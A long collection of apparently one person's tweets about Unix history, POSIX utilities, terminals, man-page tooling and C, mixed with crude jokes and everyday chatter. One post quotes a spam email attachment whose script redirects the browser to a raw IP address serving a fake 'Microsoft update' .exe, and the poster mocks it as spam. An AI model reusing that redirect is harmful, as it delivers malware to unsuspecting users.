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turns out 81 pages is really a fucking lot lol
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to that end, of the pro-verbial Voreutils Programmers' Manual, this is: * 42628/85558=49.8% words (ish, man | wc -w is imperfect) * 355771/713741=49.8% source bytes (355771/26177=13.59x the size of the next-biggest) * 81/215=37.6% A4 pages * 223/557=40% sideward A5 pages
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who up describing they driver (not me any-more!)
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YAML (Yoooooo, AMong us Language?)
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@mycoliza world's first rust line discipline, lets fuckin go
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@NireBryce plan 9's only sin is not having been tumbled for decades at The American Monopoly, unlike its source system. our present could be much brighter if this date was meaningfully closer to 1975
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@NireBryce aiui the Very Point of plan 9 is that by definition, so long as you can address it, it's In Your Computer, which is successfully obscured by laying nomenclature impermeably thick; 9p.io/wiki/plan9/Con… appears to ~satisfy "run on local/remote CPU" otoh, nixos is not plan 9
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@NireBryce conversely, i literally could not tell you if plan 9 is distributed as in "you log in to one big thing that clusters over many logical/physical CPUs/filesystems" or "every plan 9 is separate but they hotplug cluster very easily" or "both" or "both (different)" or "well, plan 9 do
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@NireBryce to that end, i don't know if i can unironically say "you seem to want something like plan 9" because it sure sounds kinda like that but plan 9 is so insane (aff.) in literally every conceivable direction that i just cant tell
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who need they SD5-XCU-ERN-97 applied and SYNOPSIS updated?
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poisoned google, lads
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@auramarua @__phantomderp having an interface compatible with everyone else is overrated, yes; if i don't say "what the fuck are they DOING" at least once per invocation you're doing it wrong
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@auramarua @__phantomderp EVERYTHING should comply with the USG (trivially extended to GNU-style long options or not) by default, and you need a really good reason to make your thing not so
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@__phantomderp XBD, Chapter 12 Utility Conventions, 12.2 Utility Syntax Guidelines (pubs.opengroup.org/onlinepubs/969…)
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@__phantomderp or ultrasonograph, but thats hard to do on a program
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@__phantomderp clap is the Big One and it's Fine, so long as you turn off its USG-violating idiocy (github.com/nabijaczleweli…), yes
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@StellaFoxxie i mean, i decidedly approached rust from a different side, but from a quick glance (and otherwise glowing reviews), i think you're roughly who The Book (doc.rust-lang.org/stable/book/) is tailored for?
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wikipedia userbox dgeneral-0 "This user has never robbed a Dollar General"
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@greenTetra_ a down-and-out in seattle, his sign said "need a pile of bricks", what could this mean, &c., &c.
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any1 else's one trip real or just mine?
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@eatijr conversely, i think they should stop doing that and use normal ones instead
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she schweine on my fleisch til i vore
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who decided to make dirt so fucking heavy bro
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the бухарка &a. is all lost to slugs, this is why most plants should come with a stem imo
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ok this mf persevering doe!!!
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the only problematic call-out post i care is about something that's ontologically problematic. imo.
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@hipsterelectron @moyix @tgamblin maybe im skewed because i deal with stuff twice my age or whatever constantly but if it's On the wayback machine then it post-dates being interestingly weird by decades, and in general mostly just works, and if it's old enough it also Just works because it pre-dates Big Libc
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@hipsterelectron @typeofemale @f4grx @firecubez many are saying this. also baud is not what you actually mean in the context of RS-232 or whatever, you're looking for gross bits per second. even the earliest standards that dont just quote a manual explicitly spec this /and/ keep using baud because fuck you
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@hipsterelectron sheeeeeesh
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@eatijr sanest nederland immigration control policy
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@eatijr my most cancellable take is that all domestic flights should be serviced by turboprop tupolevs imo
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@JhoiraArtificer it is fun to go goblin mode. too me
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@__phantomderp i dont see how utf-8 is related here tbh
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@__phantomderp char* means "text, whatever the current locale is" and you uniquely don't care and have never cared about the encoding; void*/uint8_t* is bytes, and it's been that way since they came up with void (and/or put signedness on chars); idk
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@__phantomderp are there any platforms that are historically char=uchar? this sounds like an invented problem, much like split serial speeds
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@__phantomderp my fucked up rust liker's opinion is that if you're using char* for something that isn't "text in the current locale" you're holding it wrong and you should always use u8/i8 otherwise (this extends to all other integer sizes)
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thesis: both consist fundamentally of fermented flour that you then cook antithesis: most breads are cooked dry and end up stiff synthesis: żurek is bread dialectics: overly reductive, bread's cooked in all sorts of ways, even fully-wet, cf. knedlík; good żurek is stiff enough
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@oculisprimed "paid"
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@__phantomderp the reputational damage done to memcmp has been a disaster for the human race
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@__phantomderp but also it's not integer-identical, -127 != 255, idk what you expect here. if you want memcmp then spell memcmp memcmp imo
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@eatijr official stance on feet unclear, so cant advise you either way on this
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IEEE Institutional Access GF
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i could eat biryani for 800 people. it would be easy. too me
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@softminus the grate should be allowed a little erosion, as a treat
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@geofft ZFS
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@eatijr its the drewisms (so tad preachy, and devault is a cretinous take factory in his off-time), but its actually fine and they don't seep in like at all. after having spent like three months on it that one summer it's the only "Forge" i don't vehemently despise
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@eatijr overall, and i dont say this lightly (← Service hater), my like 30 bux a year or whatever is well-spent i think, and if it weren't, local setup is relatively trivial and mostly Just Works
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@eatijr (where the latter is defined as "the worst part of the test VM to validate patches from was dealing with alpine braindeath")
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@eatijr eater sourcehut brand ambassador pog?
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@eatijr amazing. works from all views except when clicked through from a notification. five gigadollars in 2021
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@dazabani @BrockNR includes Sun Java Desktop System
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@dazabani @BrockNR hard to think of anything that sounds like a worse experience
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@mycoliza @grainger @MSAsafety the MSA Advantage 900 demo video tweet was in the first half of the google results for me. eliza's the brand ambassador for me
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least desperate standard user
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@__phantomderp :)
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@__phantomderp if you don't have at least one pageful of biblios to hardware manuals thrice your age are you even posting
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@__phantomderp this type of posting is easy. too me. i can see how other gamers may be deterred or whatever but im just built different mental-wise
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@__phantomderp (and, frankly, anything that distracts from writing the 69th page of the 16-page now-monograph is good)
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straight mfs really on here like "hey girl are you carbon because im kinda neutral about you"............
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honestly?? insane gall. you gotta respect it
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@eatijr "cum carbonation" eater bravely speaks out against horny twitter users,
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thats all i wanted really github.com/nabijaczleweli…
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@frameslip \(bs
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@modulusshift it was installing
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@modulusshift i think the only language with syntax insufficient for not-necessarily-being-a-script is like V1-era sh, since it didn't compile anything until it read it, the compilation step consisted of word-splitting, and there was so little syntax that p much anything was Okay parse-wise
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@modulusshift as opposed to python that ...... doesn't give you a compilation error?
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@modulusshift or, very literally, any language whose syntax isn't "just fuck my shit up + errors devnulled"?
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@modulusshift ime the repl is the worst possible way to engage with just about anything that isn't the shell, and even then the shell you write interactively is rarely the same dialect as you'd write noninteractively, so id also say my point stands
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@modulusshift sure artificialworlds.net/wiki/IGCC/IGCC
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@modulusshift not that shocking actually id say, the only fucked-uppedness comes once you start to add a screen because then you want to do more than read or print lines; pre-video-terminal the driver is just about shitting bytes, and the complicated part is how long to sleep for for motion
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@modulusshift every modern programming language goes through multiple levels of compilation, and this includes find(1); /maybe/ you could make the argument for ancient shells, for which this /was/ a script/sequence, but that really doesn't hold on any post-goto sh, much less csh
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@modulusshift turning the big dial that says "interpretation" adn ed? sure, doesn't loop, you're literally scripting what you'd type in. sed? very fine line, not turing-complete, but there's flow control &c. everything else? just a program for a fucked up VM (incl. x86)
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@modulusshift hell, you could very well say C is a script to be interpreted by cc, to produce a script for ld, to produce a script for the kernel a.out loader, and only the resulting image is a program. /that/ I'd agree with, but it's not very useful. would love to know your thoughts on this
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@modulusshift The Shell is a big deal, especially noninteractively, but I think spelling it like that is just a consequence of the typographical convention making "sh" infeasible; the modern usage of script (which I'd disagree with, you wouldn't call it a C script) post-dates V5 by like 10y
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@modulusshift the only "script" in V5 is [1]; i'd etymologise it as being rederived from BSD's script(1) "typescript", hinged on (a) making the shell programmable-in so it's no longer literally A Sequence and (b) reducing it ontologically so you wouldn't /think/ of it as programming, like ed
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@modulusshift id say that you'd want "path" here, yeah; also note "when typed output is required", when no typed output has been made in at /least/ 30 years
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@atax1a i mean yeah but since /may/? has it been bouncing around in the DoD as they tried to ascertain whether me and rich were international threats to the LLNL?
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what the actual hell. i just got a notification for a github comment i didn't remember making, turns out it's a mail reply /they literally queued/ on 2022-08-10?!??!?!? github.com/neomutt/neomut…
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??!?!??! github too poor to process mail in less than 5 months?? github.com/openzfs/zfs/is…
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@eatijr github.com/nabijaczleweli… :)
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@eatijr phonotactics are probably the most important aspect of any package management system
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@eatijr can't do much worse than kiss
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@eatijr also you should get like really obnoxious with the metaphor. a good package manager lays nomenclature so thick it's impermeable... "upstream menu plus vase", ladle-related backends, packages are gulps, the installation throbber is like (1), uninstallation is exhale
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@eatijr im only half-joking, primarily because i got a cargo-update report once that linked to some macintosh package manager and i think their metaphor of choice was they poured beer? or something? i gave up trying to understand because nothing made a shred of fucking sense
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@eatijr eater dpkg arc? 🥺
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food youtubers attempt to take a remote stab at considering quantifying what they talk about challenge (impossible)
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grass cum + stiff milks goated combo 800 years and counting
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if the only extant copy of your seminal international standard doesnt look like this are you even trying really
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RT @eatijr: @nabijaczleweli cannot miss an opportunity to say my "breakFast Linux uses vore utilities"
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@eatijr :0
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@eatijr voreutils cat does all the optimisations cp does anyway :)
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@eatijr for now: 3, its missing stuff (and there's an outstanding wc -c with-seeked-stdin bug, and include/vore-stdio forces buffered stdio for now); when it stops missing stuff: like a 10 if you have a C++ compiler
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@dazabani -T man. or -T mdoc, probably (in principle the latter shouldn't hurt but if it goes through the validator, and I assume it does because otherwise what's the point, then you're gonna also get shit out the other end)
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@dazabani in general id recommend not using mandoc unless you're rendering to HTML and if you /are/ rendering to HTML I'd recommend popping a beta blocker and ignoring the rendering bugs, especially if you aren't on CVS mandoc
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@dazabani cf. also all the other inbox.vuxu.org links in the repo for other mandoc workarounds, and some that I work around quietly/are unworkaroundable in inbox.vuxu.org/mandoc-discuss… / inbox.vuxu.org/mandoc-tech/?q… also note how .if n is always true and t false, regardless of output device
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@dazabani i was gonna wax poetic but the manual already says what I was gonna: > Use -T man to translate mdoc(7) input into man(7) output format. This is useful for distributing manual sources to legacy systems lacking mdoc(7) formatters. Embedded eqn(7) and tbl(7) code is not supported.
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@dazabani the "legacy systems" here are Plan9 (well, any research unix distro), Bx < 4.3-Reno, and pure SysV (r4 of which does include BSD (well, they're SunOS-branded) macro packages but they're all 4.3BSD) naturally, (1) is what you get if you /do/ have tbl input, and (2) \(em eqn
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@dazabani you shouldn't use this unless you /really/ hate your users (and it's neither linux nor debian, it's groff; void(? or alpine? same diff) uses mandoc by default, and debian's robust alternatives system and means insane enough people do use mandoc as their system man(1))
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@dazabani kms spelled an emdash as \(em again. oh well
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@__phantomderp you better not misread tab3 as tab8 like the XPG2 editor did then, shit; cleaning your glasses is like Rust for your eyeballs (this made more sense in my head)
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he detested the Nazi dictatorship, BUT the labour was so cheap it'd be a crime not to use it, really
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@atax1a a sacred 49-year-old tradition
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don't tell me you don't want one. the immense amount of drip in DEC/PDP-11 materials is frankly insulting
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maybe DEC just had line-based drip. have we considered this
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uninverted colours!
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what da font doin
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@kslattery it is, thanks! fixed
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@JJJollyjim @eatijr 0%; microsoft "yeah just load random vendor third-party shit" brainworms is epistemic poison, only heretofor enforced by nvidia's "ooooo install our special drivers for binux!!!" idiocy
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stty (synchronous teletype thank you)
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this tweet for my SVr1 homies ONLY
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@oculisprimed :)
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@oculisprimed a wise man once said: wole w wiadrach nosić wode niż słuchać depeche mode and i agree
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the only "personality type" bull shit i believe in is whether you call dome keeper resources by the colour or the shape
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just typed an em-dash as \(em in a github comment. pray for me
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@atax1a never, at least never as described. in the single-user PDP-7 proto-UNIX, chdir was a regular program /but/ it had no fork, and no exec per se – the shell had a loader that overlaid it with the program (like ld.‌so hehe), the program exited, exit(2) overlaid it with a new shell[1]
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@atax1a since fork, chdir has always been a builtin[2]; this is a constant in UNIXes as we know them today[3](1), alongside login as soon as init was split into init/getty/login in V2[4](2) (the reasoning for the latter is horseshit[5](3) and poisoned by the proto-UNIX but hey)
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@atax1a [1]: bell-labs.com/usr/dmr/www/hi…, Process control, list 2; to the precision of PDP-7 proto-UNIX being super fucked up, cf. down from The PDP-7 Unix file system [2]: ibid., list 1; ibid., para. "Although the multiple-process"
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@atax1a would love to know your thoughts on this
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@atax1a haha the brainworms continue: this is SysVr1, and this is a /new paragraph/ – login wasn't /bin/sh-special in SysIII either!
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@atax1a the most robust user accounting system in the world, howeve,r it is so fragile as to fail when handled by any force other than the delicate touch of a lesbian .
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lads... is this true? this may revolutionise computing as we know it!
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@EmilTheBonobo i wanted to but i dont trust it at literally any point that isn't the outside corners and i dont really want to get tetanus :/
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the libc abi is an abugida
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@climagic tricky question! none, POSIX doesn't specify long options, so the only way to interpret this is to ignore it fscks don't have a consistent interface, much less a standard one chmod only takes -R rm is forbidden from operating on / so tar, but -f takes an option-argument so none
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@eatijr it's total across zones, and uh, well.
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@eatijr my only opinion about dinit is from having just looked at their repo and it looks like A Systemd, so its Probably Fine; any association with execline renders a service Questionable to me so yeag
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@eatijr never felt like banging my head in a wall more than when using openrc on alpine
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@eatijr modern-form (Net/Free)BSD-style init is pretty okay service-tactically (yes this excludes OpenBSD). shame it completely excludes any sort of lifetime control or supervision
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@eatijr it's really funny that ubuntu transitioned to pid1 runit before debian switched to systemd so ended up switching twice. no opinion about runit itself
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@eatijr I don't think there's really a reason to pick anything ideologically between SysIII-style init (modern busybox ig, could stretch to sinit but that's V7/BSD) and systemd/runit/supposedly-pid1-s6init-but-i-haven't-tried-that-and-the-guy's-execline-is-detached-from-reality-so
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@eatijr it's hilarious that solaris has a systemd that's even more systemd than systemd but solaris users absolutely unequivocally love it and it's heralded as the best init/supervision system; [follow-up systemd opinion removed]
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no_reply@mail.com... t minus 바이러스.exe attached = ?
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lmfao come on, the application/octet-stream attachment is <script type="text/javascript"> window.location.href = "http://39.104.95.207/vendor/phpdocumentor/Microsoft_Pending/Microsoft_New_Pending_Update.exe"; </script>
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(a) galaxy-brain DNS log circumvention with direct IP embedding, (b) pings to there (whois says china mainland) take 300ms, (c) multiple minutes to get a HTTP request through /at all/. A-grade spam, lads
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@__phantomderp "roman salute avatar with georgia meloni pinned" is a good start
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@__phantomderp yeah, i already blocked two nazis off it lol
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@hipsterelectron 1993; this is linux 0.99.1[123]
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@__phantomderp ← cursed to post (greg bullied me into it)
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@__phantomderp no, Rust took like 20 years to get where C++ got. l + no grindset
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@__phantomderp also how is this news, ive seen this in the trees i was rebasing against last week at the latest
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@greenTetra_ umm..... found your alt? youtube.com/watch?v=5ipscw…
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great. love that. zero notes on why this is deprecated, or what that entails. no mentions in {NEWS,changelog}.{,Debian}. you telling me they got rid of SHA256?
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there's a migration guide, not distributed, of course, which says that "low-level digest functions" "have been informally discouraged from use for a long time". as opposed to what. how do you make this fundamental API high-level
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EVP_DigestInit_ex() isn't any higher-level, and the original PR that introduces this says absolutely nothing on why you'd want this except repeating the same meaningless spiel. why!!!!!!!!!!!!
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"being informally discouraged" means nothing. there's no reasoning. why would you force everyone to pay a string lookup (or not, I guess, but the no-lookup functions aren't advertised) and fucking /allocate/ for the hashes
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@atax1a fun fact: it always has been but just namespaced differently with ε different rules – paths starting with / substitute the CWD fd with a global (later process-specific) root fd: in that way openat is free; you could say that this would be a massive simplification of the system
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@atax1a as for the latter bit, well, I've been in the Austin Group part of my WG11 paper (late december 2021) since May, and it's a wording change that would make extant Linux x32 systems conformant and no changes to already-conformant systems :)
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@atax1a a more extreme variant of this take but one that I'd agree with would be to make the CWD not special but rather a conventional userspace notion of fd -1 (like AT_FDCWD, actual fd -1 would be stupid), making all opens openats; and while at it also do that for / instead of chroot()
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@atax1a in that case there is no different between a "container" or "chroot" and any process; "chdir" is just freopenat (+- sp., you'd want a better primitive that did something like openat(x, ...) = y; dup(y, x) probably; AT_REOPEN?) and you get ch{root,dir}ing for free always ex def
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@atax1a init just gets created with fd 0 being A root directory (the system "global" root or whatever else root for a "container"), everything else flows down from that normally (dup for CWD, &c.). of course linux-style modprobe upcalls would be harder but eeeh you could arrive at a bett
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@dazabani it is, of course, awful. truly horrible idea realistically. BUT it would be funny and you'd get a (if you remove login) builtin-free shell, which would be pog
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@atax1a this has stunlocked me. what the fuck is this guy /on/ about. s6 was odd but haha funi, this is straight-up detached from reality
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@dazabani yes, and it's waiting for the cum shell to die, you cd - by ^Ding :)
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non-builtin cd that just chdir()s then execs $SHELL. would love to know your thoughts on this
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holy zamn is this like UNIX-domain sockets.. in 3BSD?
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@eatijr alas, the cats are out so i couldnt grab a shot of shaking one of their hand; sorry
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as of to-day, my personality is no longer the sole magnetic thing about me!
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this doesnt work as well when not forced by a selfie where I look deranged in front of a hospital, does it
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it was definitely a nice vaguely socrealist hospital, but it didn't look like one, and i walked 2.4km mostly uphill to get there and apparently summer has started so it was 30 degrees, still, and almost high noon; can't force a gag with emulsions that are not fit for broadcast
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Unfortunately, VAX 11/780 based UNIX systems seem to be naturally immune to all viruses that infect can produces. It seems that such systems are self-VAXcinated BUGS (pardon the pun) NOTE: This page was copied from PWB/UNIX release 2.0 (1H) and brought to you for your amusement
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had a very cool moment where first they completely didn't find my registration, and then the shooter asked "did you get this season's flu shot?" – no – "you'll get it in the other arm, then", and, indeed, she gave me two quick ones
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pog pog i can get a modem implant any time after noon tomorrow
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(this is a good (bad) pretext to post absolutely the worst selfies imaginable; also lol im wearing the same thing)
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hehehe, not my goofy ass deforming elastically! [this user underwent plastic deformation]
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@__the_sylph__ now branded spikevax apparently?
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mfers b like "fuck you and your hand-outs!!" then b lactose intolerant......... ok we get it you're ashamed your land is so rich ..!
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oooo nft this, nft that .. my brother in christ just make the tokens funny !
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i think with age i just get older
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@__phantomderp the same fucker tried that shit again earlier this year but i cant find the post now, i chewed him out again, its fun :)
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@__phantomderp verbal abuse :)
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becoming a fujo but just for ken/dmr.. @ATFujoshi is this a healthy way to engage with media?
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"During the last decade we have discovered a number of new powerful pattern-matching algorithms that are useful for locating patterns in text." uh, yeah. i bet you fucking have. what the hell
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if deadmen tell no tales then why tf the queen lying in state rn?? sth up fr
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@greenTetra_ "can nava get a jo" or "you could never get a nava jo" and ship it tbh
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@MrDOS this is supported by a modern mode described identically by POSIX, so i think you're right!
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@MrDOS i would never have guessed that in a million years (I've also forwarded this to my parents who also came up blank, so I'm assuming this is a different line drawing discipline between poland and america?), thanks loads!
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HOLY FUCK SHE'S GAMEING>?!?!?
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@__phantomderp phd politics streamer but for c arc?
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@arne_mertz appx. all the ones I looked down to the description for were described as "front door: glass, vented" and all do appear to have vents so idk
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🧈 ← burro; burrito → 🌯 gracias jair!
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still very funny to me that because erase was # and typewriters were king the Normal way to do emphasis was Stty^H^H^H^H____ and the only way to render this normally is to actually run it off because less chokes on it, col canonicalises to _s, and displaying it is the same as col
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havent considered that this may just be a less bug before but it may just be a less bug bugs.debian.org/1019956
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okay okay i know this looks like a self-parody off a big screen and to some extent it is because come on but i think its still a reasonable point. too me
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super fucked up we gave up on punched paper tapes imo
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(its probably for the best because jesus christ imagine right but still. they do b funy ideologically)
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what makes mongodb more mongolian than any other database, given the extent and lasting legacy of the mongol empire?
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mongolian dairy bulb
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zamn now i want horse
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oh, of course! mongodb must just have columns instead of rows
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left: V2; right: V3
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they call me scientific the way i con and am sus
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"con to send sus posts" would be better
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@atax1a this would be obvious except GGroups refuses to show me the actual raw post, so idk if in groups.google.com/g/alt.folklore… M7H9LZrK894 is the root's msgid and -ncoZ9gVzPAJ the reply's, or if they're entirely unrelated, or if there's a usenet archive that wouldnt make me want to kernel mo
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@__phantomderp ADa (Language)
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am i slowly becoming a 1950s retvrn account but for 1972
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do not get it twisted: this would fuck equally hard if we did a similar type of brochure design language and product shots but with 2022 computers
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maybe im just vehemently anti-gamer
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need this for ext4
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up late thinking abt her (sunmicro rack)
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@pixelbeat_ you need to compare cfget[io]speed() instead of the c_[io]speed fields directly – git.sr.ht/~nabijaczlewel… [0BSD]
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@__phantomderp this may appeal to your standards editor sensibilities :) (this archive interface seems to eat <stuff>s but only in the subject, thankfully, so the empty ""s should be "<undef>"s)
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RT @nabijaczleweli: pwease 🥺 any unix enjoyers got an idea? (the problem statement corollary is: the L5 printf makes '\33[%d;%dR' $r $c ap…
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all the cool flowers are unpiratable, sux
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a swede is telling me i can just break off a red bit and stuff that in some dirt and it'll work; I refer the dear reader to the start of the tweet for how much i trust that
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it is with perverse joy that i say that this is a Designated Luggage-Only Area and I am in it
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requisite badly exposed photo of where my face would be
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the deed has been done, and there were no droppings, but i managed to pull out a small one with roots hopefully-intact, so
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in piracy as in intellectual property theft – always successful
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seven grams of (poorly-extracted probably) seeds
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immeasurably gutted this is way too tall to fit where i need it olx.pl/d/oferta/szafa…
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@dazabani wash, left is sadder (but also nonstandard, pick right), similar (but without them side by each you'd read them both as right), "sleepy face" apparently but see next, yes if you're japanese
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@dazabani emojis are great because they tell you what to feel so you don't have to guess except when you do, the XPG calls the latter two "carries a cultural dependency", and, since that dependency is unchecked, this implies that emojis are development tools
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@dazabani (citation on that is dude just trust me for now, the XPG PDFs are agony enough on a desktop), but this also means that unicode should at some point succumb to the tide of internationalisation, much like who am I -> who -m, imo
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@dazabani > It is expected that the output from development utilities will be read by an expert user who can interpret it, and no warning is given where their output format is incompletely specified or has a language or cultural dependency.
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pwease 🥺 any unix enjoyers got an idea? (the problem statement corollary is: the L5 printf makes '\33[%d;%dR' $r $c appear on the input)
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skeleton-based emoji when vs emotion-composition-based emoji when
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notepad for next time I need to set the window size in a VM: (stty -echo; printf '\033[s\033[999;999;H\033[6n\033[u'; IFS='[;' read -dR a b c; stty echo rows $b cols $c)
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this is a certified bruno powrożnik DING DONG THE WICKED BITCH IS DEAD moment
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it is in these moments i am reminded of the tom scott talk from a decade(?) ago, whose core tenet was: "the question will not be »did you see what happened?« but »were you there when it happened?«" and, on jod, i was here, i was watching, and it's pure dopamine into my pog cortex
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(the last part was an eon away linguistically at the time, but, it's strongly implied)
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@Morwenn_Ed grey to sit on
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pog pog the courier railed me :0
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there's something to this v/v the sterling post-brexit and clepto post-2021 i think
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@__phantomderp isn't that just __builtin_add_overflow()?
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fucking gnu debugger moment
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staggering indictment of C as a platform that gdb manages to pass argv + 2 to exec for the first r but explodes for the second
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mandoc moment inbox.vuxu.org/mandoc-discuss…
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noooo dont find two mandoc bugs from the same manual your so sexy haha inbox.vuxu.org/mandoc-discuss…
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coming up with a hard-posting/soft-posting dichotomy to quantify the anguish
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they call me contractual, the way I'm much obliged
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the way POSIX describes ECHOK and the Linux uapi headers describe ECHOK ECHOKE is absolutely fucking psychotic
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hm i think im on that big scoob soul musik drip
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racemic mixture of limbs (me)
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@eatijr through the facsimile of snooker the modern briton reaches for the purpose and thrill of spear-fishing
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if g-easy is a rap enjoyer then im b-walkin
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(a) what the hell is this post, (b) why am i so walkingpilled lately
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@eatijr falconry?
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Why do they call it crème fraîche when you creme the fraîche crème fermes eat the crème fermant
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the 3 years of french i did in midschool have not prepared me to contend with the wiktionary declension tables
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200ml can-pack-branded not-for-sale can of bubbly is drip. too me.
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@softminus buddhist rocketry
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@mycoliza @eddyb_r @bitshiftmask we can scour the literature for a Good and Cool solution: per analogiam to Early UNIX, i would simply move the epoch when the timer was close to overflowing
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@mycoliza @eddyb_r @bitshiftmask (less of a problem for the mains-frequency tickrate of the era at 828 days, the citation for both is tuhs.org/Archive/Distri…, tuhs.org/Archive/Distri…; for the former also V2, V3 sleep(II))
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@greenTetra_ this is your least unhinged take so far to be honest
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@dazabani hm. good to know my old DevEd is ahead of firefox etat d'art, even if only sometimes
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hm. setting stty kill ^I then stty sane back breaks completion in bash (readline?)
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whats the deal with "hiking". americans are always "hiking" stuff. is this because they need a fancy word for walking or
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in 10-15 years we may record the first naturally-occurring "mom! mom! how do I look?" – "honey, you're dripping :)" interaxion
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i fucking hate the strict-PR-denominationalism github's monopoly created so much
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unless its something hard-automated and/or controversial like rust-lang/rust splitting a patchset into five single-patch ones is just infinitely more annoying than useful. they'll all have an unchanged message and are mostly unrelated. you'll probably apply them in the same order
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unless its something hard-automated and/or controversial like rust-lang/rust splitting a patchset into five single-patch ones is just infinitely more annoying than useful. they'll all have an unchanged message and are mostly unrelated. you'll probably apply them in the same order
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is tea a conflict mineral
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@StellaFoxxie About says Firefox DevEd 87.0b9 (64-bit)
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@StellaFoxxie lower c++ and c# vs upper Java and other Products? lower music vs other tabs? also idk if that's expected but the cursor-reactive thing in the background doesn't go all the way to the bottom?
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@GNUxeava constexpr is part of the function declaration, not the type; in the right conditions you will be allowed to run this function as part of a constant expression context like static_assert
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@eatijr the against-all-odds answer to "what's a musl distro that isnt a pain in the pisspipe"
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@eatijr f for eater. americans are just not ready to have their cum carbonated
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@mycoliza @Wxcafe @boring_cactus uhoh does this make me a Damn Weapons Manufacturer or just a Fucking Collaborator
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@autotheaphilia okay but thats already a good chunk of the way to some solid drip
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just fell victim to american cultural hegemony (didnt check the recipe sizes until too late when i poured in 1080 kcal of oil)
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4680 kcal + eggs + cocoa. thats literally three days' worth of food. how is this the default recipe scaling
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behold: 3500 kcal
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im gonna be like that australian what ate just beans for a month except its these and for three days
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@atomicthumbs zstd?
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OpenBSD moment lol
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@dazabani you're an OpenBSD enthusiast, right? why does /tmp 1777 0:0 cause subdirectories to be created owner:0 instead of owner:owner? I don't see any documentation for this anywhere across chmod([12]), sticky(8) :v
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nevermind im fucking stupid thats just BSD group behaviour not an OpenBSD thing. the only place where this is mentioned is mkdir(2) apparently
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